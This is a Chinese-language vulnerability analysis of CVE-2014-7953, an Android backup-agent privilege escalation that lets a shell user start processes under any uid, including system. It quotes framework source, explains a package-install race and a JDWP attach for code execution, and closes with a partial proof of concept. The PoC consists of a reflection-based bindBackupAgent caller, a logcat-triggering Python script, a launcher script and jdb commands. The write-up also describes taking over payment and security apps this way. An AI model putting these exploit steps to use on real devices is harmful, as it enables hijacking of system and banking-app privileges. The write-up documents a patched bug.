ADB backupAgent 提权漏洞分析 (CVE-2014-7953)
0x00 摘要
CVE-2014-7953是存在于android backup agent中的一个提权漏洞。ActivityManagerService中的bindBackupAgent方法未能校验传入的uid参数,结合另外一个race condition利用技巧,攻击者可以以任意uid(应用)身份执行代码,包括system(uid 1000)。本文对该漏洞进行了详细分析,并给出了利用EXP。攻击的前提条件是需要有android.permission.BACKUP和INSTALL_PACKAGES,而adb shell是一个满足条件的attack surface。
0x01 背景介绍
BackupService是Android中提供的备份功能,在备份操作中,系统的BackupManager从目标应用获取对方指定的备份数据,然后交给BackupTransport进行数据传输。在恢复备份操作中,BackupManager从Transport中拿回数据并传递给目标应用进行恢复。常见的场景是用户应用的数据备份到Google Cloud,用户在新手机上登录Google账号时数据就被自动恢复回去。
当然想使用备份功能的应用必须实现BackupAgent组件,继承BackupAgent类或者BackupAgentHelper类,并在AndroidManifest.xml中声明自己,还需要向一个BackupService注册。
在BackupManager进行备份或恢复时,其会以目标应用BackupAgent为内容启动目标应用进程,调用其onCreate函数,以方便其进行具体的应用逻辑相关的备份和恢复操作。
0x02 漏洞成因
在上文的铺垫之后,我们来看这个漏洞的成因。前面提到BackupAgent会在进行恢复时被调用,具体到ActivityManagerService中的bindBackupAgent函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
// Cause the target app to be launched if necessary and its backup agent
12819
// instantiated. The backup agent will invoke backupAgentCreated() on the
12820
// activity manager to announce its creation.
12821
public
boolean
bindBackupAgent(ApplicationInfo app,
int
backupMode) {
12822
if
(DEBUG_BACKUP) Slog.v(TAG,
"bindBackupAgent: app="
+ app +
" mode="
+ backupMode);
12823
enforceCallingPermission(
"android.permission.BACKUP"
,
"bindBackupAgent"
);
12824
12825
synchronized
(
this
) {
/*...*/
12833
// Backup agent is now in use, its package can't be stopped.
12834
try
{
12835
AppGlobals.getPackageManager().setPackageStoppedState(
12836
app.packageName,
false
, UserHandle.getUserId(app.uid));
12837
}
catch
(RemoteException e) {
12838
}
catch
(IllegalArgumentException e) {
12839
Slog.w(TAG,
"Failed trying to unstop package "
12840
+ app.packageName +
": "
+ e);
12841
}
12842
12843
BackupRecord r =
new
BackupRecord(ss, app, backupMode);
12844
ComponentName hostingName = (backupMode == IApplicationThread.BACKUP_MODE_INCREMENTAL)
12845
?
new
ComponentName(app.packageName, app.backupAgentName)
12846
:
new
ComponentName(
"android"
,
"FullBackupAgent"
);
12847
// startProcessLocked() returns existing proc's record if it's already running
12848
ProcessRecord proc = startProcessLocked(app.processName, app,
12849
false
,
0
,
"backup"
, hostingName,
false
,
false
,
false
);
12850
if
(proc ==
null
) {
12851
Slog.e(TAG,
"Unable to start backup agent process "
+ r);
12852
return
false
;
12853
}
12854
12855
r.app = proc;
12856
mBackupTarget = r;
12857
mBackupAppName = app.packageName;
12858
12859
// Try not to kill the process during backup
12860
updateOomAdjLocked(proc);
12861
12862
// If the process is already attached, schedule the creation of the backup agent now.
12863
// If it is not yet live, this will be done when it attaches to the framework.
12864
if
(proc.thread !=
null
) {
12865
if
(DEBUG_BACKUP) Slog.v(TAG,
"Agent proc already running: "
+ proc);
12866
try
{
12867
proc.thread.scheduleCreateBackupAgent(app,
12868
compatibilityInfoForPackageLocked(app), backupMode);
12869
}
catch
(RemoteException e) {
12870
// Will time out on the backup manager side
12871
}
12872
}
else
{
12873
if
(DEBUG_BACKUP) Slog.v(TAG,
"Agent proc not running, waiting for attach"
);
12874
}
12875
// Invariants: at this point, the target app process exists and the application
12876
// is either already running or in the process of coming up. mBackupTarget and
12877
// mBackupAppName describe the app, so that when it binds back to the AM we
12878
// know that it's scheduled for a backup-agent operation.
12879
}
12880
12881
return
true
;
12882
}
|
ActivityManagerService对外通过Binder暴露了这个接口,当然开头就要求了调用者必须持有android.permission.BACKUP权限,而shell是持有这个权限的。bindBackupAgent最终会将传入的攻击者可控的ApplicationInfo传递给startProcessLocked,并最终通过scheduleCreateBackupAgent调用其onCreate函数。
而ApplicationInfo中的uid可以被任意指定,这是该漏洞的根本原因。
0x02 漏洞利用
但是想要利用这个漏洞还会遇到几个关键的问题,需要通过其他方法来绕过。
setPackageStoppedState的权限检查
从代码中可以看到,在startProcessLocked之前会先调用setPackageStoppedState,将可能正在运行的目标package置Stopped状态。这要求binder调用的发起者持有CHANGE_COMPONENT_ENABLED_STATE权限,否则会抛出SecurityException,终止函数运行。很遗憾这是一个系统用户才持有的权限,shell是没有的,强行调用会抛如下异常:
但是可以观察到的是,startPackageStoppedState在抛出IllegalArgumentException时会被catch住,打一个log并继续执行,那么通过PackageManager安装包时的race condition,或者说TOCTOU,可以打一个时间差。
一个猥琐的步骤如下:
-
调用pm安装包,在安装过程中某个时刻调用bindBackupAgent。
-
startPackageStoppedState时,包并不存在,抛出IllegalArgumentException被catch住并继续执行。
-
startProcessRecord时包却已经安装完成了,以攻击者指定的ApplicationInfo启动。
正常的情况下,当包存在时,会是如下时序:
包不存在时,会是如下时序。此时process可以被创建出来,但会立即死亡因为找不到load的代码。极罕见的情况下可能会停留在FC对话框而可以利用。
TOCTOU利用时序图如下:
这里面关键点是打好时间差,例如可以扩大classes.dex的体积,增加dexopt的时间。在N7上测试成功的POC是通过脚本监控logcat中Copying native libraries to,在此刻触发bindBackupAgent调用,基本每次都能成功。
handleCreateBackupAgent的检查
跟一下调用链:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
|
public
final
void
scheduleCreateBackupAgent(ApplicationInfo app,
658
CompatibilityInfo compatInfo,
int
backupMode) {
659
CreateBackupAgentData d =
new
CreateBackupAgentData();
660
d.appInfo = app;
661
d.compatInfo = compatInfo;
662
d.backupMode = backupMode;
663
664
sendMessage(H.CREATE_BACKUP_AGENT, d);
665
}
public
void
handleMessage(Message msg) {
//omit
case
CREATE_BACKUP_AGENT:
1337
Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER,
"backupCreateAgent"
);
1338
handleCreateBackupAgent((CreateBackupAgentData)msg.obj);
1339
Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
1340
break
;
//omit
}
// Instantiate a BackupAgent and tell it that it's alive
2428
private
void
handleCreateBackupAgent(CreateBackupAgentData data) {
2429
if
(DEBUG_BACKUP) Slog.v(TAG,
"handleCreateBackupAgent: "
+ data);
2430
2431
// Sanity check the requested target package's uid against ours
2432
try
{
2433
PackageInfo requestedPackage = getPackageManager().getPackageInfo(
2434
data.appInfo.packageName,
0
, UserHandle.myUserId());
2435
if
(requestedPackage.applicationInfo.uid != Process.myUid()) {
2436
Slog.w(TAG,
"Asked to instantiate non-matching package "
2437
+ data.appInfo.packageName);
2438
return
;
2439
}
2440
}
catch
(RemoteException e) {
2441
Slog.e(TAG,
"Can't reach package manager"
, e);
2442
return
;
2443
}
//omit
2448
// instantiate the BackupAgent class named in the manifest
2449
LoadedApk packageInfo = getPackageInfoNoCheck(data.appInfo, data.compatInfo);
2450
String packageName = packageInfo.mPackageName;
//omit
2461
2462
BackupAgent agent =
null
;
2463
String classname = data.appInfo.backupAgentName;
2464
2465
// full backup operation but no app-supplied agent? use the default implementation
2466
if
(classname ==
null
&& (data.backupMode == IApplicationThread.BACKUP_MODE_FULL
2467
|| data.backupMode == IApplicationThread.BACKUP_MODE_RESTORE_FULL)) {
2468
classname =
"android.app.backup.FullBackupAgent"
;
2469
}
2470
2471
try
{![Alt text](./Screenshot from
2015
-
04
-
20
15
:
50
:
21
.png)
2472
IBinder binder =
null
;
2473
try
{
2474
if
(DEBUG_BACKUP) Slog.v(TAG,
"Initializing agent class "
+ classname);
2475
2476
java.lang.ClassLoader cl = packageInfo.getClassLoader();
2477
agent = (BackupAgent) cl.loadClass(classname).newInstance();
2478
2479
// set up the agent's context
2480
ContextImpl context = ContextImpl.createAppContext(
this
, packageInfo);
2481
context.setOuterContext(agent);
2482
agent.attach(context);
2483
2484
agent.onCreate();
2485
binder = agent.onBind();
2486
mBackupAgents.put(packageName, agent);
2487
}
catch
(Exception e) {
2488
//omit
2496
}
//omit
2508
}
2509
|
该函数的作用是在Package中寻找定义的BackupAgent类,如果不存在则以android.app.backup.FullBackupAgent代替,并执行其onCreate函数。
如果控制了进程uid为system,在onCreate函数放置我们的代码就万事大吉了。但很遗憾开头就有一个检查,对比当前进程的uid(注意ActivityThread的代码是在被启动package的进程空间内执行的,所以Process.myUid即是目标package的uid)和PackageManager在安装时记录的uid,不符合则log并退出。这就砍掉了改onCreate利用的想法。
但天无绝人之路,jdwp come to rescure. 进程和VM已经起来了,安装包的debuggable flag又是攻击者可指定的,那么jdwp attach上去执行代码,就柳暗花明又一村。
0x03 喜闻乐见的shell...吗
顺利的话system身份进程已经启动。
如果我们再去打开测试应用,会看到两个不同uid的同package进程并存,如下图:
这里会有两种情况:
-
进程以system的uid启动,但由于没有实例化和调用onCreate,这个进程是个空壳。这是最常见的情况。
-
进程以system的uid启动,出现一个Application Crash时的FC对话框。有意思的是某些罕见情况下直接访问backupAgent接口就会触发该对话框。
对于这两种情况,attach上之后触发的断点也并不一样。对于第一个来说,线程会block在nativePollOnce上,如下图所示:
这种情况利用的一个关键因素是需要让线程跳出nativePollOnce,也就是说需要让其接收到一个消息,然后才能下断点执行代码, 但诡异之处就在于这时候起的进程是一个空壳,不存在GUI界面,常规的操作触发和intent触发都是没有效果的,这岂不是强人所难?这里就需要一个任何ActivityThread都会接收到的非GUI事件非组件的事件消息并触发它,才能跳出这个轮回。通过某种猥琐的方式,是可以做到这点的,读者可以思考下哪些可以达到这个目的。
第二种则会因为异常捕获断在handleApplicationCrash上,这种比较好处理,直接下断点即可。
总之我们利用intellij或者jdb作为载体,通过jdwp即可以system权限或者以其他uid的身份执行代码。
附效果截图:
system:
当然我们也可以变幻成什么xx卫士啊,xx钱盾,xx付宝之类进程的uid,从而控制这些敏感应用。附xx卫士的截图:
可以看到我们的应用已经和xx卫士是一个uid同床共枕了,接下来怎么发挥就看诸君想象力了。
0x04 部分POC:
myapp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
public
class
Test {
public
static
void
main(String []args)
{
test(Integer.parseInt(args[
0
]));
}
public
static
void
test(Integer uid)
{
try
{
Class ActivityManagerNative = Class.forName(
"android.app.ActivityManagerNative"
);
Method bindBackupAgent = ActivityManagerNative.getDeclaredMethod(
"getDefault"
);
Object iActivityManager = bindBackupAgent.invoke(
null
);
Method bindBackupAgentMtd = iActivityManager.getClass().getDeclaredMethod(
"bindBackupAgent"
, ApplicationInfo.
class
,
int
.
class
);
ApplicationInfo applicationInfo =
new
ApplicationInfo();
applicationInfo.dataDir =
"/data/data/com.example.myapp"
;
applicationInfo.nativeLibraryDir =
"/data/app-lib/com.example.myapp-1"
;
applicationInfo.processName =
"com.example.myapp"
;
applicationInfo.publicSourceDir =
"/data/app/com.example.myapp-1.apk"
;
applicationInfo.sourceDir =
"/data/app/com.example.myapp-1.apk"
;
applicationInfo.taskAffinity =
"com.example.myapp"
;
applicationInfo.packageName =
"com.example.myapp"
;
applicationInfo.flags =
8961606
;
applicationInfo.uid = uid;
bindBackupAgentMtd.invoke(iActivityManager, applicationInfo,
0
);
}
catch
(ClassNotFoundException e) {
e.printStackTrace();
}
catch
(NoSuchMethodException e) {
e.printStackTrace();
}
catch
(InvocationTargetException e) {
e.printStackTrace();
}
catch
(IllegalAccessException e) {
e.printStackTrace();
}
}
}
|
将其编译为jar并通过app_process执行。注意在myapp没有安装时直接执行会造成后续INSTALL_FAILED_UID_CHANGED错误,具体原因可参照我之前写的denial-of-app分析。
监控py脚本:
1
2
3
4
5
6
7
8
9
10
11
12
|
from
subprocess
import
Popen, PIPE
import
os
KW
=
"Copying native libraries to "
#KW = "dexopt"
os.system(
"adb logcat -c"
)
p
=
Popen([
"adb"
,
"logcat"
], stdout
=
PIPE, bufsize
=
1
)
with p.stdout:
for
line
in
iter
(p.stdout.readline, b''):
if
line.find(KW) !
=
-
1
:
print
line
os.system(
"adb shell /data/local/tmp/test.sh 1000"
)
p.wait()
|
test.sh
1
2
3
|
export
ANDROID_DATA=
/data/local/tmp/
export
CLASSPATH=
/data/local/tmp/MyTest
.jar
app_process
/data/local/tmp/
com.example.MyTest $@
|
jdb命令:
1
2
3
4
5
6
|
threads
thread 0xxxxxx
suspend
stop in android.os.MessageQueue next
run
print
new
java.lang.Runtime.exec(
"id"
)
|
0x05 修复:
Google对该漏洞的修复非常简单,对bindBackupAgent接口校验了FULL_BACKUP这个system级别的权限,砍掉了最初的入口。
References:
- http://www.securityfocus.com/archive/1/535296/30/0/threaded
- http://www.saurik.com/id/17
- http://androidxref.com/4.4.4_r1/xref/frameworks/base/services/java/com/android/server/am/ActivityManagerService.java#12822
- http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.2_r1/android/os/MessageQueue.java#MessageQueue.nativePollOnce%28int%2Cint%29